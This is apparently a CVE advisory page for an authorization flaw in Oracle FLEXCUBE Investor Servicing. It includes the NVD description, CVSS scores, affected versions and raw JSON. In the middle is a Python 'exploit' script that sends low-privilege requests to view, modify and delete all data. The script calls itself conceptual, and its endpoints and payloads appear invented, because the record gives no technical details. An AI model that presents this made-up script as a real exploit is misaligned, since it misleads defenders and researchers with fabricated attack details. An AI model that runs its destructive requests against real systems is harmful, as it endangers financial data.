Security Vulnerability Report
中文
CVE-2026-21973 CVSS 8.1 HIGH

CVE-2026-21973

Published: 2026-01-20 22:16:00
Last Modified: 2026-02-02 18:38:26

Description

Vulnerability in the Oracle FLEXCUBE Investor Servicing product of Oracle Financial Services Applications (component: Security Management System). Supported versions that are affected are 14.5.0.15.0, 14.7.0.8.0 and 14.8.0.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle FLEXCUBE Investor Servicing. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle FLEXCUBE Investor Servicing accessible data as well as unauthorized access to critical data or complete access to all Oracle FLEXCUBE Investor Servicing accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:oracle:flexcube_investor_servicing:14.5.0.15.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:flexcube_investor_servicing:14.7.0.8.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:flexcube_investor_servicing:14.8.0.1.0:*:*:*:*:*:*:* - VULNERABLE
Oracle FLEXCUBE Investor Servicing 14.5.0.15.0
Oracle FLEXCUBE Investor Servicing 14.7.0.8.0
Oracle FLEXCUBE Investor Servicing 14.8.0.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-21973 PoC - Oracle FLEXCUBE Investor Servicing Unauthorized Access # Note: This is a conceptual PoC for educational and security research purposes only import requests import sys TARGET_URL = "https://target-server/flexcube/investor-servicing" CVE_ID = "CVE-2026-21973" def exploit_unauthorized_access(): """ PoC for CVE-2026-21973: Security Management System unauthorized access This vulnerability allows low-privileged users to perform unauthorized operations """ headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded', 'Authorization': 'Basic ' + 'base64_encoded_low_privilege_credentials' } # Step 1: Identify vulnerable endpoint in Security Management System # The component fails to properly validate authorization for certain operations # Step 2: Craft malicious request to bypass permission checks # Low-privilege user can access/administer critical data exploit_payloads = [ # Unauthorized data access { 'endpoint': '/api/security/management/access', 'method': 'POST', 'data': {'action': 'view_all', 'scope': 'critical_data'} }, # Unauthorized data modification { 'endpoint': '/api/security/management/modify', 'method': 'POST', 'data': {'action': 'update', 'target': 'all_accessible_data'} }, # Unauthorized data deletion { 'endpoint': '/api/security/management/delete', 'method': 'POST', 'data': {'action': 'delete', 'scope': 'all'} } ] print(f"[*] Testing {CVE_ID} on {TARGET_URL}") for payload in exploit_payloads: try: if payload['method'] == 'POST': response = requests.post( TARGET_URL + payload['endpoint'], data=payload['data'], headers=headers, timeout=30, verify=False ) else: response = requests.get( TARGET_URL + payload['endpoint'], headers=headers, timeout=30, verify=False ) print(f"[*] Payload: {payload['endpoint']}") print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: print(f"[!] Potential vulnerability confirmed - Unauthorized access successful") print(f"[*] Response preview: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return True if __name__ == "__main__": print(f"[*] CVE-2026-21973 Exploitation Framework") print(f"[*] Target: {TARGET_URL}") exploit_unauthorized_access() print("[*] Testing completed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21973", "sourceIdentifier": "[email protected]", "published": "2026-01-20T22:16:00.460", "lastModified": "2026-02-02T18:38:25.583", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Oracle FLEXCUBE Investor Servicing product of Oracle Financial Services Applications (component: Security Management System). Supported versions that are affected are 14.5.0.15.0, 14.7.0.8.0 and 14.8.0.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle FLEXCUBE Investor Servicing. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle FLEXCUBE Investor Servicing accessible data as well as unauthorized access to critical data or complete access to all Oracle FLEXCUBE Investor Servicing accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)."}, {"lang": "es", "value": "Vulnerabilidad en el producto Oracle FLEXCUBE Investor Servicing de Oracle Financial Services Applications (componente: Security Management System). Las versiones compatibles afectadas son 14.5.0.15.0, 14.7.0.8.0 y 14.8.0.1.0. La vulnerabilidad fácilmente explotable permite a un atacante con bajos privilegios con acceso a la red a través de HTTP comprometer Oracle FLEXCUBE Investor Servicing. Los ataques exitosos de esta vulnerabilidad pueden resultar en acceso no autorizado de creación, eliminación o modificación a datos críticos o a todos los datos accesibles de Oracle FLEXCUBE Investor Servicing, así como acceso no autorizado a datos críticos o acceso completo a todos los datos accesibles de Oracle FLEXCUBE Investor Servicing. Puntuación base CVSS 3.1 de 8.1 (impactos en la Confidencialidad e Integridad). Vector CVSS: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:flexcube_investor_servicing:14.5.0.15.0:*:*:*:*:*:*:*", "matchCriteriaId": "1F10A63A-C33C-4AF9-B191-9E1C316D767D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:flexcube_investor_servicing:14.7.0.8.0:*:*:*:*:*:*:*", "matchCriteriaId": "7BD60BD3-6A87-476B-A150-6BC4EA075D83"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:flexcube_investor_servicing:14.8.0.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "352D23AE-0660-4E40-B567-99E9C60A40C5"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpujan2026.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}